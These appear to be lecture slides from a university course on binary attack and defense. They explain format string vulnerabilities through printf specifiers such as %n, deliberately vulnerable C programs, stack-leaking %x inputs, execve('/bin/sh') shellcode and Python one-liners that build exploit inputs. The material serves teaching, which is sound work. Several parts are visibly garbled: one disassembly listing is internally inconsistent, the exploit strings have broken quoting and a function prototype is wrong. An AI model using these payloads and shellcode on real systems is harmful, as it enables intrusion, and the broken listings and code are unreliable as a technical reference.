CSE 610 Special Topics:
System Security - Attack and Defense for Binaries

Instructor: Dr. Ziming Zhao

Location: Frnczk 408, North campus
Time: Monday, 5:20 PM - 8:10 PM
Today’s Agenda

1. Format string vulnerability
   a. C function with variable arguments; C++ function overloading
   b. Format functions
C function with Variable Arguments

- A function where the number of arguments is not known, or is not constant, when the function is written.

- Include `<stdarg.h>`, which introduce a type `va_list`, and three functions/macros that operate on objects of this type, called `va_start`, `va_arg`, and `va_end`. 
```c
#include <stdio.h>
#include <stdarg.h>

double average(int num, ...) {
    va_list valist;
    double sum = 0.0;
    int i;

    va_start(valist, num);
    for (i = 0; i < num; i++) {
        sum += va_arg(valist, int);
    }
    va_end(valist);

    return sum/num;
}

int main() {
    printf("Average of 2, 3, 4, 5 = %f\n", average(4, 2, 3, 4, 5));
    printf("Average of 5, 10, 15 = %f\n", average(3, 5, 10, 15));
    return 0;
}

https://www.tutorialspoint.com/cprogramming/c_variable_arguments.htm
C++ Function Overloading code/cppol

- Function overloading is a feature in C++ where two or more functions can have the same name but different parameters.

```c
#include <stdio.h>

double average(int i, int j, int k) {
    return (i + j + k) / 3;
}

double average(int i, int j, int k, int l) {
    return (i + j + k + l) / 4;
}

int main() {
    printf("Average of 2, 3, 4, 5 = %f\n", average(2, 3, 4, 5));
    printf("Average of 5, 10, 15 = %f\n", average(5, 10, 15));
    }
```
C++ Overloading Example
Format string functions

Functionality
● used to convert simple C datatypes to a string representation
● allow to specify the format of the representation
● process the resulting string (output to stderr, stdout, syslog, ...)

How the format function works
● the format string controls the behaviour of the function
● it specifies the type of parameters that should be printed
● parameters are saved on the stack (pushed)
● saved either directly (by value), or indirectly (by reference)

The calling function
● has to know how many parameters it pushes to the stack, since it has to do the stack correction, when the format function returns
Format string function prototypes

NAME

printf, fprintf, dprintf, sprintf, snprintf, vprintf, vfprintf, vdprintf, vsprintf, vsnprintf - formatted output conversion

SYNOPSIS

#include <stdio.h>

int printf(const char *format, ...);
int fprintf(FILE *stream, const char *format, ...);
int dprintf(int fd, const char *format, ...);
int snprintf(char *str, const char *format, ...);
int snprintf(char *str, size_t size, const char *format, ...);
The format string family

fprintf — prints to a FILE stream
printf — prints to the ‘stdout’ stream
sprintf — prints into a string
snprintf — prints into a string with length checking
vfprintf — print to a FILE stream from a va_arg structure
vprintf — prints to ‘stdout’ from a va_arg structure
vsprintf — prints to a string from a va_arg structure
vsnprintf — prints to a string with length checking from a va_arg structure

setproctitle — set argv[]
syslog — output to the syslog facility
others like err*, verr*, warn*, vwarn*

What is a **Format String**?

C string (ASCII string) that contains the text to be written. It can optionally contain embedded **format specifiers** that are replaced by the values specified in subsequent additional arguments and formatted as requested.

A format specifier follows this prototype: 

%[flags][width][.precision][length]specifier

% is \x25

Specifiers

A format specifier follows this prototype:

`%[flags][width][.precision][length]specifier`

<table>
<thead>
<tr>
<th>specifier</th>
<th>Output</th>
<th>Example</th>
</tr>
</thead>
<tbody>
<tr>
<td>d or i</td>
<td>Signed decimal integer</td>
<td>392</td>
</tr>
<tr>
<td>u</td>
<td>Unsigned decimal integer</td>
<td>7235</td>
</tr>
<tr>
<td>o</td>
<td>Unsigned octal</td>
<td>610</td>
</tr>
<tr>
<td>x</td>
<td>Unsigned hexadecimal integer</td>
<td>7fa</td>
</tr>
<tr>
<td>X</td>
<td>Unsigned hexadecimal integer (uppercase)</td>
<td>7FA</td>
</tr>
<tr>
<td>f</td>
<td>Decimal floating point, lowercase</td>
<td>392.65</td>
</tr>
<tr>
<td>F</td>
<td>Decimal floating point, uppercase</td>
<td>392.65</td>
</tr>
<tr>
<td>e</td>
<td>Scientific notation (mantissa/exponent), lowercase</td>
<td>3.9265e+2</td>
</tr>
<tr>
<td>E</td>
<td>Scientific notation (mantissa/exponent), uppercase</td>
<td>3.9265E+2</td>
</tr>
<tr>
<td>g</td>
<td>Use the shortest representation: %e or %f</td>
<td>392.65</td>
</tr>
<tr>
<td>G</td>
<td>Use the shortest representation: %E or %F</td>
<td>392.65</td>
</tr>
<tr>
<td>a</td>
<td>Hexadecimal floating point, lowercase</td>
<td>-0xc.90fep-2</td>
</tr>
<tr>
<td>A</td>
<td>Hexadecimal floating point, uppercase</td>
<td>-0XC.90FEP-2</td>
</tr>
<tr>
<td>c</td>
<td>Character</td>
<td>a</td>
</tr>
<tr>
<td>s</td>
<td>String of characters</td>
<td>sample</td>
</tr>
<tr>
<td>p</td>
<td>Pointer address</td>
<td>b80000000</td>
</tr>
<tr>
<td>n</td>
<td>Nothing printed. The corresponding argument must be a pointer to a signed int. The number of characters written so far is stored in the pointed location.</td>
<td></td>
</tr>
<tr>
<td>%</td>
<td>A % followed by another % character will write a single % to the stream.</td>
<td>%</td>
</tr>
</tbody>
</table>
Specifiers

A format specifier follows this prototype:

```
%[flags][width][.precision][length]specifier
```

<table>
<thead>
<tr>
<th>flags</th>
<th>description</th>
</tr>
</thead>
<tbody>
<tr>
<td>-</td>
<td>Left-justify within the given field width; Right justification is the default (see width sub-specifier).</td>
</tr>
<tr>
<td>+</td>
<td>Forces to precede the result with a plus or minus sign (+ or -) even for positive numbers. By default, only negative numbers are preceded with a - sign.</td>
</tr>
<tr>
<td>(space)</td>
<td>If no sign is going to be written, a blank space is inserted before the value.</td>
</tr>
<tr>
<td>#</td>
<td>Used with o, x or X specifiers the value is preceded with 0, 0x or 0X respectively for values different than zero. Used with a, A, e, E, f, F, g or G it forces the written output to contain a decimal point even if no more digits follow. By default, if no digits follow, no decimal point is written.</td>
</tr>
<tr>
<td>θ</td>
<td>Left-pads the number with zeroes (θ) instead of spaces when padding is specified (see width sub-specifier).</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>width</th>
<th>description</th>
</tr>
</thead>
<tbody>
<tr>
<td>(number)</td>
<td>Minimum number of characters to be printed. If the value to be printed is shorter than this number, the result is padded with blank spaces. The value is not truncated even if the result is larger.</td>
</tr>
<tr>
<td>*</td>
<td>The width is not specified in the format string, but as an additional integer value argument preceding the argument that has to be formatted.</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>.precision</th>
<th>description</th>
</tr>
</thead>
<tbody>
<tr>
<td>.number</td>
<td>For integer specifiers (d, i, o, u, x, X): precision specifies the minimum number of digits to be written. If the value to be written is shorter than this number, the result is padded with leading zeros. The value is not truncated even if the result is longer. A precision of θ means that no character is written for the value θ. For a, A, e, E, f and F specifiers: this is the number of digits to be printed after the decimal point (by default, this is 6). For g and G specifiers: This is the maximum number of significant digits to be printed. For s: this is the maximum number of characters to be printed. By default all characters are printed until the ending null character is encountered. If the period is specified without an explicit value for precision, θ is assumed.</td>
</tr>
<tr>
<td>*</td>
<td>The precision is not specified in the format string, but as an additional integer value argument preceding the argument that has to be formatted.</td>
</tr>
</tbody>
</table>
Specifiers

A format specifier follows this prototype:

%[flags][width][.precision][length]specifier

The length sub-specifier modifies the length of the data type. This is a chart showing the types used to interpret the corresponding arguments with and without length specifier (if a different type is used, the proper type promotion or conversion is performed, if allowed):

<table>
<thead>
<tr>
<th>length</th>
<th>d</th>
<th>i</th>
<th>u</th>
<th>o</th>
<th>x</th>
<th>X</th>
<th>f</th>
<th>F</th>
<th>E</th>
<th>g</th>
<th>G</th>
<th>a</th>
<th>A</th>
<th>c</th>
<th>s</th>
<th>p</th>
<th>n</th>
</tr>
</thead>
<tbody>
<tr>
<td>(none)</td>
<td>int</td>
<td>unsigned int</td>
<td>double</td>
<td>int</td>
<td>char*</td>
<td>void*</td>
<td>int*</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>hh</td>
<td>signed char</td>
<td>unsigned char</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>signed char*</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>h</td>
<td>short int</td>
<td>unsigned short int</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>short int*</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>l</td>
<td>long int</td>
<td>unsigned long int</td>
<td>wint_t</td>
<td>wchar_t*</td>
<td></td>
<td>long int*</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>ll</td>
<td>long long int</td>
<td>unsigned long long int</td>
<td>long long int*</td>
<td></td>
<td>long long int*</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>j</td>
<td>intmax_t</td>
<td>uintmax_t</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>intmax_t*</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>z</td>
<td>size_t</td>
<td>size_t</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>size_t*</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>t</td>
<td>ptrdiff_t</td>
<td>ptrdiff_t</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>ptrdiff_t*</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>L</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>long double</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

Note regarding the c specifier: it takes an int (or wint_t) as argument, but performs the proper conversion to a char value (or a wchar_t) before formatting it for output.
Format String Examples

```c
printf ("Characters: %c %c \n", 'a', 65);
printf ("Decimals: %d %ld\n", 1977, 650000L);
printf ("Preceding with blanks: %10d \n", 1977);
printf ("Preceding with zeros: %010d \n", 1977);
printf ("Some different radices: %d %x %o %#x %#o \n", 100, 100, 100, 100, 100, 100);
printf ("floats: %4.2f %+.0e %E \n", 3.1416, 3.1416, 3.1416);
printf ("Width trick: %*d \n", 5, 10);
printf ("%s \n", "A string");
```

Characters: a A
Decimals: 1977 650000
Preceding with blanks: 1977
Preceding with zeros: 0000001977
Some different radices: 100 64 144 0x64 0144
floats: 3.14 +3e+000 3.141600E+000
Width trick: 10
A string
```c
int foo()
{
    int a = 0;
    int b = 0;
    printf("a is %d; b is %d\n", a, b);
    printf("[Changing a and b..]%n12345%n\n", &a, &b);
    printf("a is %d; b is %d\n", a, b);

    printf("[Changing a and b..]%020d %n%n\n", 50, &a, &b);
    printf("a is %d; b is %d\n", a, b);

    printf("[Changing a and b..]floats: %010.2f%n\n", 3.1416, &a);
    printf("a is %d.\n", a);

    return 0;
}
```
The POSIX Extension: \texttt{n$}

\texttt{n$}

$n$ is the number of the parameter to display using this format specifier, allowing the parameters provided to be output multiple times, using varying format specifiers or in different orders. If any single placeholder specifies a parameter, all the rest of the placeholders MUST also specify a parameter.

For example, \texttt{printf("%2$d \%2$\#x; \%1$d \%1$\#x",16,17)} produces 17 \texttt{0x11}; 16 \texttt{0x10}
How could this go wrong? printf(user_input)!

- The format string determines how many arguments to look for.
- What if the caller does not provide the same number of the arguments? More than the function (e.g. printf) looks for? Or fewer than the function looks for?
- What if the format string is not hard-coded? The user can provide the format string.
Format string vulnerability is considered as a *programming bug*

Wrong usage - user controls the format string.

```c
int func (char *user) { printf (user); }
```

Correct usage - format string is hard-coded.

```c
int func (char *user) { printf ("%s", user); }
```
```c
int vulfoo()
{
    char s[20];

    printf("What is your input?\n");
    gets(s);

    printf(s);
    return 0;
}

int main()
{
    return vulfoo();
}
```

Use “echo 0 | sudo tee /proc/sys/kernel/randomize_va_space” on Ubuntu to disable ASLR temporarily
0000122d <vulfoo>:
 122d: f3 0f 1e fb  endbr32
 1231: 55  push %ebp
 1232: 89 e5 mov %esp,%ebp
 1234: 53  push %ebx
 1235: 83 ec 24  sub $0x24,%esp
 1238: e8 f3 fe ff ff  call 1130 <__x86.get_pc_thunk.bx>
 123d: 81 c3 8f 2d 00 00  add $0x2d8f,%ebx
 1243: 65 a1 14 00 00 00  mov %gs:0x14,%eax
 1249: 89 45 f4  mov %eax,-0xc(%ebp)
 124c: 31 c0 xor %eax,%eax
 124e: 83 ec 0c  sub $0xc,%esp
 1251: 8d 83 3c e0 ff ff  lea -0x1fc4(%ebx),%eax
 1257: 50  push %eax
 1258: e8 73 fe ff ff  call 10d0 <puts@plt>
 125d: 83 c4 10  add $0x10,%esp
 1260: 83 ec 0c  sub $0xc,%esp
 1263: 8d 45 e0  lea -0x20(%ebp),%eax
 1266: 50  push %eax
 1267: e8 44 fe ff ff  call 10b0 <gets@plt>
 126c: 83 c4 10  add $0x10,%esp
 126f: 83 ec 0c  sub $0xc,%esp
 1272: 8d 45 e0  lea -0x20(%ebp),%eax
 1275: 50  push %eax
 1276: e8 25 fe ff ff  call 10a0 <printf@plt>
 127b: 83 c4 10  add $0x10,%esp
 127c: b8 00 00 00 00  mov $0x0,%eax
 1283: 8b 55 f4  mov -0xc(%ebp),%edx
 1286: 65 33 15 14 00 00 00  xor %gs:0x14,%edx
 128d: 74 05  je 1294 <vulfoo+0x67>
 128f: e8 ac 00 00 00  call 1340 <__stack_chk_fail_local>
 1294: 8b 5d fc  mov -0x4(%esp),%ebx
 1297: c9  leave
 1298: c3  ret
What can we do?

- View part of the stack
  %x.%x.%x.%x.%x.%x
  %08x.%08x.%08x.%08x.%08x.%08x

- Crash the program
  %s%s%s%s%s%s%s
int vulfoo()
{
    char tmpbuf[120];
    gets(tmpbuf);
    printf(tmpbuf);
    return 0;
}

int main()
{
    return vulfoo();
}
0000120d <vulfoo>:
120d: f3 0f fe fb endbr32
1211: 55 push %ebp
1212: 89 e5 mov %esp,%ebp
1214: 53 push %ebx
1215: 81 ec 84 00 00 00 sub $0x84,%esp
121b: e8 f0 fe ff ff call 1110 <__x86.get_pc_thunk.bx>
1220: 81 c3 b0 2d 00 00 add $0x2db0,%ebx
1226: 65 a1 14 00 00 00 mov %gs:0x14,%eax
122c: 89 45 f4 mov %eax,-0xc(%ebp)
122f: 31 c0 xor %eax,%eax
1231: 83 ec 0c sub $0xc,%esp
1234: 8d 85 7c ff ff ff lea -0x84(%ebp),%eax
123a: 50 push %eax
123b: e8 a5 00 00 00 call 1310 <__stack_chk_fail_local>
1240: 83 c4 10 add $0x10,%esp
1243: 83 ec 0c sub $0xc,%esp
1246: 6d a1 14 00 00 00 mov %gs:0x14,%edx
124d: 74 05 je 126b <vulfoo+0x5e>
1264: 74 05 je 126b <vulfoo+0x5e>
1266: e8 a5 00 00 00 call 1310 <__stack_chk_fail_local>
126b: 8b 5d fc mov -0xc(%ebp),%ebx
126e: c9 leave
126f: c3 ret

...
python -c "print '\x08\x70\x55\x56\x1a\x70\x55\x56__%x.%x.%x.%x.%s.%s'' > exploit

./fs2 < exploit
int vulfoo() {
    char buf1[100];
    char buf2[100];

    fgets(buf2, 99, stdin);
    sprintf(buf1, buf2);
    return 0;
}

int main() {
    return vulfoo();
}
000011ed <vulfoo>:
11ed:  f3 0f 1e fb  endbr32
11f1:  55  push %ebp
11f2:  89 e5  mov %esp,%ebp
11f4:  53  push %ebx
11f5:  81 ec d4 00 00 00  sub $0xd4,%esp
11f6:  e8 f0 fe ff ff  call 10f0 <__x86.get_pc_thunk.bx>
1200:  81 c3 d0 2d 00 00  add $0x2dd0,%ebx
1206:  8b 83 24 00 00 00  mov 0x24(%ebx),%eax
120c:  8b 00  mov (%eax),%eax
1211:  50  push %eax
1212:  6a 63  push $0x63
1214:  8d 85 30 ff ff ff  lea -0xd0(%ebp),%eax
121a:  50  push %eax
121b:  e8 6a fe ff ff  call 1080 <fgets@plt>
1226:  8d 45 94  lea -0x6c(%ebp),%eax
122c:  50  push %eax
122d:  8d 45 94  lea -0x6c(%ebp),%eax
1230:  50  push %eax
1231:  e8 6a fe ff ff  call 10a0 <sprintf@plt>
1236:  83 c4 10  add $0x10,%esp
1239:  b8 00 00 00 00  mov $0x0,%eax
123e:  8b 5d fc  mov -0x4(%ebp),%ebx
1241:  c9  leave
1242:  c3  ret

Saved %ebp

buf2

buf1

%ebp

0x6c = 108

0xd0 = 208 bytes
execve("/bin/sh") 32-bit

8048060: 31 c0 xor %eax,%eax
8048062: 50 push %eax
8048063: 68 2f 2f 73 68 push $0x68732f2f
8048068: 68 2f 62 69 6e push $0x6e69622f
804806d: 89 e3 mov %esp,%ebx
804806f: 89 c1 mov %eax,%ecx
8048071: 89 c2 mov %eax,%edx
8048073: b0 0b mov $0xb,%al
8048075: cd 80 int $0x80
8048077: 31 c0 xor %eax,%eax
8048079: 40 inc %eax
804807a: cd 80 int $0x80

char shellcode[] = "\x31\xc0\x50\x68\x2f\x2f\x73"
"\x68\x68\x2f\x62\x69\x6e\x89"
"\xe3\x89\xc1\x89\xc2\xb0\x0b"
"\xcd\x80\x31\xc0\x40\xcd\x80";

28 bytes

Bypass the write limit ...

Exploit looks like

```python
Python -c "print \x112d' + \xac\xd0\xff\xff' + \x90'*20 + \x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\xe8\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80'"
```